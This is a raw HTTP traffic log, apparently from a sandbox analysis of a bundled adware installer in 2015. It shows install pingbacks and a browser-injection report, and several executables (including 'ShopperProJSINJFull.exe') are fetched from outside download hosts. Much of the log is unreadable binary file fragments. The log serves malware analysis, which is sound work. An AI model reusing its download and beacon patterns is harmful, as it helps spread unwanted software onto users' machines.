&offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=554f1a32df4546428c4cd4ba3636f283&uid=fc5acaef92544d4d9ad600d2a201e613&tokyo_csrf_key=d36876f94bd16d195f4550b10dcae92b&tokyo_csrf_timestamp=1422581275&ffInstalled=false&dfz=false&affid=network_adworkmedia_1&sid=freezipwepv&country=UA&hostBrowser=ff&unique_id=7e067d4730d1830d0b187fc9d5748bbc HTTP/1.1

x-requested-with: XMLHttpRequest

Accept-Language: en-us

Referer: hXXp://bi.bis
HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:56 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Content-Encoding: gzip
4c1.............Xmo.6.. .> .%..c..A...f....C]..u..K.FRI. .}w......Y
.5@......<w.{?.9..r....U..s.A3.4.......|....?U.....-...t.{Kk...;...
.&.l.l.....*....#....[...e.Lac..yl.Ve......c#>.{a8>.%..1..T..wg.
.;.|.m#.......t..?.2{.4.....S*i....*.:V..4...d,7............J.qRY.....
........9.........26.K..FVC.. A.%......q....w.iX.cu.x....... .I...# ..
....:.......^_..#}~.T.Q....s...6.$..no=.(.......p.._....F..\..9/>..
...4.bSa2....Ll....Y.s.%...6..wR,.'Z:.\ Jj..Z.T...xUi......V.I........
j...q...#t.Lc. ........U....2..g..J#....0..A.a....h.m.r .F#......eU$tm
..f....k....*.V...AjQ.V..`./7..........Y{...-nF.n..1]...Nh.42.......*G
&....{.'.wf..%.......}....d.RH.......o..%..eG.....V.!.8.z!...m...x....
ED.Rr.<..v-e._..].....pg..)[.7...W.^..r...*.d..<.B..".s..p.Y.t.I
4......\...6...{...H=...g..na.y.gT....g...;..n.L%Qb.l.b...>..b.8.%.
ie....G.m'......#=s5..k.Z.8.....F...,...RQ.RFU.. .....K..>v!....B..
.sIu.S..Hw....O..0.%Oz.....r...1...LQ...:.G"h.:4.&.....c..../..A.X....
j].OD.3...VV8.|=e.....'j.>....8!.....`..^s=.<][email protected]..../.y
..6.E...._Z...~`..F..G..eX...3....xkn.....b.....7....GJ...(P..5m.V....
M.j..w.Ha|..'....8Nw".O.4G.'.(.......s...(..A.|..NA..QK.M......hV4..jU
..lt......a..~.... =.B.....qv..pA. l.YQ...E.O.A...a4:.x............0..
....


GET /pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=1&index_in_screen=1&index_in_session=1&0.6563418337282366 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:56 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:56 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /app/ping.ashx?e=ZuS0/O3oV2ru /iDx7KzPMmKoNQWIaThGWSENsb8KpDg802 jf0ZKWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgJjBlI3wtJUM4F8eoStvhUZKLGM4w2We7//bU6as8loQPc99SOr9PeiJytV6Yytda&product=EXTFirefox&rnd=1422581322&it=1&action=Inject&text=GoobzoInfo HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive




HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 30 Jan 2015 01:28:21 GMT

Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 30 Jan 20
15 01:28:21 GMT..Content-Length: 0..


GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=appshat_madness&tokyo_csrf2_key=ab5b2c3b093e4d65ef20c40fca9a5e96&tokyo_csrf2_timestamp=1422581276&slot_number=4&index_in_screen=1&index_in_session=4&0.16778928637932194 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_adworkmedia_1/freezipwepv/fc5acaef92544d4d9ad600d2a201e613?muid=96D78F35E7B7EA4FC32736D428DF43B4&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=fc5acaef92544d4d9ad600d2a201e613&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:29:27 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:29:27 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /utility.gif?error=mem_strt&report=mini_s&ver=820&action=na&ms_vr=3&clock=3268&rnd=4346 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Fri, 30 Jan 2015 01:29:11 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close
GIF89a.............!.......,...........L..;..


GET /sd?is=sm HTTP/1.1

Range: bytes=510321-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 31 Jan 2015 01:28:01 GMT

Date: Fri, 30 Jan 2015 01:28:01 GMT

Content-Range: bytes 510321-583223/583224

Content-Length: 72903

Connection: keep-alive
.....#*Xg.K.....("......I..>...l...P}.: m..;4.. .........Cs5.q.....
n....2.~.4..zUEn...e7F....m.=...._.B..~@....>..(.u..Hlz2.. ...gs.e_
8.>A.H...D.!..e.}.b,.....ik...v*V...({ ...1T....QV..C>V,>..c.
........s.... N.&=.....D.w.t..".d..|........Lh.N...AE.KY...^..........
.r.u...3.....T.~).....W..f.hs.*../..Z......w....L:t..Kj(......L.5.J...
..7..4..MKMq.LjP.>..v....V}...._..../... ....4....m.{8....}.1......
}.ira.*8]Hj.M.-..0j_...#4..->v.,....V..~......E...T.......a=]....DO
..ex....{.\!.. .J._ef...V.i..oST.D....ty.........*f.xS).....(-G..@u*.P
(O-.p..V....&.%..g..(...0....l.v....N"t.Hg.S....0..R.DY...[&_....5c.K.
&.8X._.....o.6.=v....<k...B.r...<5.......P.........T.....X..J.V.
.b.Llm_.YY{..Qp3..k....r.$....I..*...?(H...w...^A.F.....4.............
...2.........N.QC.$..>PR....}UB...r.>........O.N..#...T..J&S|.V'
...F......B`1'..[f..6......._.e`....N...R...Yw.=....v.........3...j...
9...%^.....CT....[.`;.H.h....<.A.l...kc.~.\R.3-...8.=.G./.403..Y.j.
[email protected] Eb..n..@).zv....[....F...WR....a.... .tC...{.....#D...f.:.qB.
...d.;..n....gy.Q......]..N.b..3...D.,T:.K0... .U........u.T..Td.=.1..
a.W....%.Q{*..9$.....y...z..-~*.Y2...*[.>9P...bs......qZnH>.x..&
gt;..U...O.....m...m...36Hp..]...]._.Nn.'.....|.u..e.........UP..!(..!
oWGy.xf....yd.....0.....q./...[.......o.A.(.....%..B.P..M..59'....^D..
. ..('..y...$.......f..G..wY..4...pf.c....:.B$.<c.w......f\...M.t.Q
M.b....Q..dq...........^R....9...:...^..[]...P........O..j......S] ..W
2...)..h.[.X......l.<A.1....:Hr.F.Y...1..F.VT.\'.<.../...N..
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=2b739ee3-657b-4b28-ab6c-93812cc4b452&Password=CuYNL6Dr&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1422581318&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive




HTTP/1.1 200 OK

Connection: close

Date: Fri, 30 Jan 2015 01:28:17 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=x3jwz055wbt2ot45haoabizw; path=/; HttpOnly

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 44
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>...


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com




HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1697

content-transfer-encoding: binary

Cache-Control: max-age=572137, public, no-transform, must-revalidate

Last-Modified: Thu, 29 Jan 2015 16:27:40 GMT

Expires: Thu, 5 Feb 2015 16:27:40 GMT

Date: Fri, 30 Jan 2015 01:32:03 GMT

Connection: keep-alive
0..........0..... .....0......0...0...A0?1=0;..U...4VeriSign Class 3 C
ode Signing 2004 CA OCSP Responder..20150129162740Z0s0q0I0... ........
[email protected].!......Q...==d6|h.[x....7..`..........cV.!.....201501
29162740Z....20150205162740Z0...*.H.............n)cde....v.2.....Y..1.
L...D..~~cI2.h...qD(.~.btg..x4....]F............')^.L..,....p6..Bv}r.^
H.h,$...... .Y.L.X.M..9>..>B..7..;IEVb.......t.....P.HN..F......
.Jc.._q.x.I4)L..$\,Lx.Y.:...@.?0m......N.s..gi .J.9>..\V]0F4...>
...v).h........uYa..\T........z..P.4....0...0...0..{.........[..I|....
.Zm..0...*.H........0..1.0...U....US1.0...U....VeriSign, Inc.1.0...U..
..VeriSign Trust Network1;09..U...2Terms of use at hXXps://VVV.verisig
n.com/rpa (c)041.0,..U...%VeriSign Class 3 Code Signing 2004 CA0...140
428000000Z..150729235959Z0?1=0;..U...4VeriSign Class 3 Code Signing 20
04 CA OCSP Responder0.."0...*.H.............0.........Y....h..@..>.
....%.-.....O...' y.........x..Gw.xF.....?..Z..u,.X.&..........3C..H.l
.....f..;]s!.\"v...|....][email protected]. ..W..
..n..*..-f?EY.......UN...r...........-_.%..,P;b.....)(.P.4...,.%....&l
t;..6.....[r^X.EV..S...5#'Y.. .TD...........0...0...U.......0.0...U.%.
.0... .......0...U...........0... .....0......0f..U. ._0]0[..`.H...E..
..0L0#.. .........hXXps://d.symcb.com/cps0%.. .......0...hXXps://d.sym
cb.com/rpa0!..U....0...0.1.0...U....TGV-B-1080...U......"...?....`>
q..i1o...0...U.#..0.....Q...==d6|h.[x....70...*.H.............B8@.$..w
o......E.....P52"b*@'C\.y.(...n....h.f..7f.....v...pb<...]..|..
<<< skipped >>>


GET /files/third/2015/01/16/172511/350/XTab_4.0.2.1716.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.alchcz.cc

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:28:21 GMT

Content-Type: application/octet-stream

Content-Length: 2463400

Last-Modified: Fri, 16 Jan 2015 09:25:11 GMT

Connection: keep-alive

Expires: Sun, 01 Mar 2015 01:28:21 GMT

Cache-Control: max-age=2592000

Accept-Ranges: bytes
p.y....I^.@..,....s..pG0......V...PL...N..PL...N..PL...N.n..0.@......,
...QO..9}.$...U...ZM\....!../...x...........Sw@.*H&......Kw........p..
.rr.F.n.U...C..N"SPN.?`E.....}[email protected].[..%o....C.....~F...PL...N..
PL...NQ.b.5..kM.QYD........h.;..{.......- .{.tG.K.........|ag12.$.....
.,8..A....W...".$:.[.pJ..s.h..x.4M...-6.4M...-6...R.}.J...PL...N}V.#R.
.m...w......PL...N.i...o)...PL...NJR!Yw..v..PL...N..PL...N..PL...N..PL
...N..PL...N.....3$...PL...N..PL...N..PL...N..d...8"....._r...j...Z...
PL...N.....Tq...&..8.{..E...Qe.t7W...S..PL...N..<....Ncx....z..n..t
!..J...Z.9...PL...N...4.u..5.;.6z..=.. .e..Q* ..`M...PL...N...4.u...iw
U.>..H....f3...PL...N..PL...Nj.G.....bd6..q\..B.=S-....#VY;....PL..
.N..<....N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N.
.PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...
N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL.
..N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N..P
L...N..PL...N..PL...N..PL...N..PL...N..PL...N..PL...N.H..h.......:....
.....4.C.A..rM8L.Q..D../......_,..b.9.......OnKA.zj\,.....b.8mW...'...
.u.~?..5../...i........x.....7.._...dL.W....^...t..../.....Y.....<.
.....$E..........L.p.z.s.R.....:...([email protected]..|. ..0.1.n..F...]..
?..c.<"...f.............2r.....o..h`..t#..*..0D*..1..xLL.....5.q...
&..Fj..L...3..!Ltc.n..\"*4....y....h7 ....y /.......&...F.V VU.....`..
}.....2..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..
F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F..4.z..F.
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

Range: bytes=437418-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 31 Jan 2015 01:28:01 GMT

Date: Fri, 30 Jan 2015 01:28:01 GMT

Content-Range: bytes 437418-583223/583224

Content-Length: 145806

Connection: keep-alive
...L....5..`....#.*Y.'-.U....>....*ks..d...#.@..%p....oG..._...<
.....M..#...............{......q7...,.bOd.........s..8..<..C...e...
......q..^1...dR#M..3.=.....j;R... ...)....%.-..B..6.X.......5U./.P...
.R}.'..l..C.,N...$.......Gj.v~ .v;...uD.G.2.-L....R.[4..P .!Eg..J.....
.j(.q...gEu.?J.T.=.(.2..GC.!...O.....T...1...5'.^.).O.....:.."...tZ.s.
.........~e@..........%....F...."nyw%l.4...O.o{....Pe..d...Y...m.E....
...Y..!...g..K...znz....5....l.-s.......6ONw......,.23.`..zP$cM..n",^.
/L%p./....W.hol..p)..(.'..B4.F.."...'.Bp....OB.V......\......_..o.`.. 
........*ZGA..2K........Y.s5P.aGD.._,.. ....G...a/[.k..j.L.........*i"
.Q5;..&..D..f.gh\......c....>...|..c.K..h....4 .U.....7~....l......
BQ<......d_.&...!......nEC..S..^.Sp...m........ _'_......3.><
[email protected].......^.~....v.u.#4..3J...rrh...w......S.....J<
.l...fDu........p.3.""(1.M.:. ..t\2.{p.=.*/c...juSR.q.]....d...r.{....
[email protected].;.h....=.Xx..Z..$.5....3v..v..!..~W.c.G.
...)yL.^.....w.2...`....;\....H.}z{.....O ..B..!4:.%.b;.A..T$6..{.D..k
q(.M.c'3O..M.n.....s.8.z...o...N.p...h....oj....A..Y.\......<....{.
....E..........S.....QR.~.D.ye&:.`...........W.."].........?g...nb...S
 fk.p7...Zr-Y..#H1._&..c.....#3.vS.......=...$.E......A ..Q.......I[..
.oCSV....Y. -..O....J.......mOT...]i....A../..ZqJ.u.).F..mF$@#..w87...
S`..OV..........n.VrD...d7.....4..n(Z).zD....<..P...6..[.....7.P..|
./..h.......[|.8..*.0...k......djY...7......o&/....n/.d.........Gw.Qti
kjM"..x...g.&....~{k.Wb...!.M.N.N._.=%{.X*C...D.R...."....OT..a5vi
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d2gv7sxh1xary4.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Thu, 29 Jan 2015 10:04:18 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-321631/321632

Age: 105

X-Cache: Hit from cloudfront

Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vvwZZYdHYsqLHR9Aa_eKO80SH6KAAc3pYxo3UYYlp9Deb_E18FcU8A==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................V...F....UC...~.
.F.P.et....y..N.Q..t......E....P#C.t.V..t.......^]...........U......}.
.VWt.j.j.......A.#A........t5..a.....E.P.M..E..RC...o..h..C..M.Q.u..}.
.E..VC..F.....t5.oa...U.R.M....E..RC...n..h..C..E.P.u..}..E..VC.......
:a...M.Q.M....E..RC...n..h..C..U.R.u..}..E..VC.............U..Q.H0V.1j
[email protected]....^..]................U..VW.}.W....n...
..VC..G..F..O._.N....VC...^]...U..VW.}.W....n.....VC..G..F..O._.N...^]
..............Q..D.8..t......B...........U..j.h..C.d.....PQSVW.t.C.3.P
.E.d......u.3..M..F......N....]..M..E........w9.F....r.j.j.....:......
...Q .......]..~..r.....................we.F....r.j.j.....:.........Q 
..Q....]......9~.r...........?....H.9~.r.............(................
.........w~.F....r.j.j....3:.........Q ...-...]......9~.r.........
<<< skipped >>>


GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Date: Fri, 30 Jan 2015 01:28:02 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: aqgF6cB4CajBdIPCmaadtK2bFRSg2T1QjpL5jEYKBxQFhnhRczGzgeYi6B0VJPhy

x-amz-request-id: C9CDA2C9A766912B

Last-Modified: Wed, 28 Jan 2015 18:17:55 GMT

ETag: "39bc3f97d5142d9e0fe6f66ec0142427"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 0-249999/4667708
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Date: Fri, 30 Jan 2015 01:28:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: aqgF6cB4CajBdIPCmaadtK2bFRSg2T1QjpL5jEYKBxQFhnhRczGzgeYi6B0VJPhy

x-amz-request-id: C9CDA2C9A766912B

Last-Modified: Wed, 28 Jan 2015 18:17:55 GMT

ETag: "39bc3f97d5142d9e0fe6f66ec0142427"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 500000-749999/4667708
.n.(c.........n....`q...r......."p.......Z.&...5:6.1p.b.%.... ..'ZLf..
..\.....8`.:....y..Te..b.%....mO..cb.A..' M.Y.2.h.kdb..e..$6M.........
p....S....T.{D/.......F.cq,.......0.7...E.....L0rC..@o..........|...@.
.|.Q%.^.PH.P..d.~.../..wS|.....t.w....p...ux..LQj......;#Z.?.w..lx..5f
b\,.w^);T..............j....9%.J..Q....E_.\...>.e.fR.y....MW}.yqM.Q
.h....**h...M....w.....Kd....e~....=...R.4..M$E.K|5.f......Y.z0`.g..8z
p..3=....Z.I..*..;....\..DUG2.... :d.@#'i.q..ie.=#[email protected][email protected].*.
..X...9.f&......p......z....[....,(..Syb.....&.t.C`.0.$..s....N._E&...
......|-.k.._W4...5...<. ............'......0s........JTj2G..gs 6M.
..S.:vv.(..U...M.|...K..d...S...p.p.._.(R...<VB....9..9F.Q0(....B.(
Qz...z~.Y...}...>!..../...~.dX..P....2...I.0.5A..i<.cy ......l..
]V.f.6....8y...M.h......u..p..)..9:..2....0.._..?.'."..[.@..:.;^l.....
2.A-...0...rv3....k...v..p,..&h..X..~~..raa....../...4.......c7..._...
..\..]b3^dt...)TCi...K`/VB....vT....D.....b.0.N .....6cD?^p..........v
.?......D..&..*.V(.....A.7DMX.9...|.c.:<...Q.KPm.m.~e.].. r......XK
.D...5-..P..7....4..t......X....f...J......).j.Jo.... .]...p...RV.....
c#..#(.9.][email protected].~I5r.....j...>..C.`F........>O.*!.X..
.l.s..#...XvQ.HA~.~_.........S..\IPq..9......>. ...=..x..........7u
.......r.n.V...1].. .....m...d\.R.T..5....D`.(.U.#.&E^.u..X.5......o..
6S.....a...W~vM.xT.z....l.t.fP...<...ly...(......... Lk,..?.2.%f...
.Y....g.."Y..$A2f.Zw:..q..K.?.]....i.Q.'...8SMF...^....96.L.vG......B.
6......)...{[email protected]. 5..0..=...o..g.e.W .9...
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Date: Fri, 30 Jan 2015 01:28:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: aqgF6cB4CajBdIPCmaadtK2bFRSg2T1QjpL5jEYKBxQFhnhRczGzgeYi6B0VJPhy

x-amz-request-id: C9CDA2C9A766912B

Last-Modified: Wed, 28 Jan 2015 18:17:55 GMT

ETag: "39bc3f97d5142d9e0fe6f66ec0142427"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1000000-1249999/4667708
G95....~...3..'.|a[.%.N...s..t....#f.x...,.].....'.G..9.>.)..)*....
..r...h.T..Ri1..(*........,tUa.U?..........v .0.J..;rF{....Y......(y..
................X|{......g...;._.h. 5*.3~....&V."h...........8......W.
~...a..k.....x....u,.?.....ZKtyy..].O9..]......a..T...........KX.i\...
jY~..X&Nr..0..%....j.zA.F....=Ms.x.m#[email protected]..
.. ........qO.!.H../...E.m..e..f.l*._..E.yU..lW.._..;O.I........%I....
...5j.u.....F...|@(.h.Z...[.`.6...m.(dt#...x.....x.{....%.Yi..w3N@) .B
0..3.....M......j... !FI..? \;.[..s4.<..........g.|.?.. ........`..
.@....../.e...S.6v^..C.[.jD.ypi....N..-.....T..c..Y...e. r.0...l>t4
:.K.........8....'......N.|.q}%..A..~7....l......v..P.F...$..(K.3ER3C.
.........3.i=s0.).{P.B...7... ..pr".}h..~.............Q>..3........
Y...x.<[email protected]@@...=.7S.92..%..7..X`9..#......X-...<t.^..M
.X...I..J#..%/[email protected]..?..'.;j...$>...c.r..#..x.B...%.N...({.
Yqv..i...D..".P.}..h.....Rp...[...n...........D2sQeC.^../...dtj..'P...
...q.u.......QGw...p.2$.....x#.....RC...l.....S0L.GfKm...?...Ab!.X.\..
<)[C.`1.....hk......E..F5.=.(.:..w.D...6!......}_....|..x.&.!...-..
^X.....i.>.^*E.....sr...2..>.....B&x.........B.4.....B..8.i..;=.
..>U.=y6.W8.j.f....\.O.z..w.}.^.&l.a.....?-m..b...S"..!...$7|..v...
......'zW=F.{O...MrJV..p.Y:0.[...>.q..K.Qm.Y.}..l.....v~.....v\....
...X.>Ov...eh.,.....hB.9..zZ...;E...0VY.w.2.......<...%.{...U8a.
.;r....5.......8H.i.. .D..P....~....f..GXQ.....I*...".Z....>!I....i
<`)^O.c...Y...F7Z..#...e.....sq.....N....,F..4...:"..8G.e.D*G.U
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Date: Fri, 30 Jan 2015 01:28:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: aqgF6cB4CajBdIPCmaadtK2bFRSg2T1QjpL5jEYKBxQFhnhRczGzgeYi6B0VJPhy

x-amz-request-id: C9CDA2C9A766912B

Last-Modified: Wed, 28 Jan 2015 18:17:55 GMT

ETag: "39bc3f97d5142d9e0fe6f66ec0142427"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1500000-1749999/4667708
.....


GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: mjqap06up-su78sj1t.netdna-ssl.com

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Date: Fri, 30 Jan 2015 01:28:03 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: aqgF6cB4CajBdIPCmaadtK2bFRSg2T1QjpL5jEYKBxQFhnhRczGzgeYi6B0VJPhy

x-amz-request-id: C9CDA2C9A766912B

Last-Modified: Wed, 28 Jan 2015 18:17:55 GMT

ETag: "39bc3f97d5142d9e0fe6f66ec0142427"

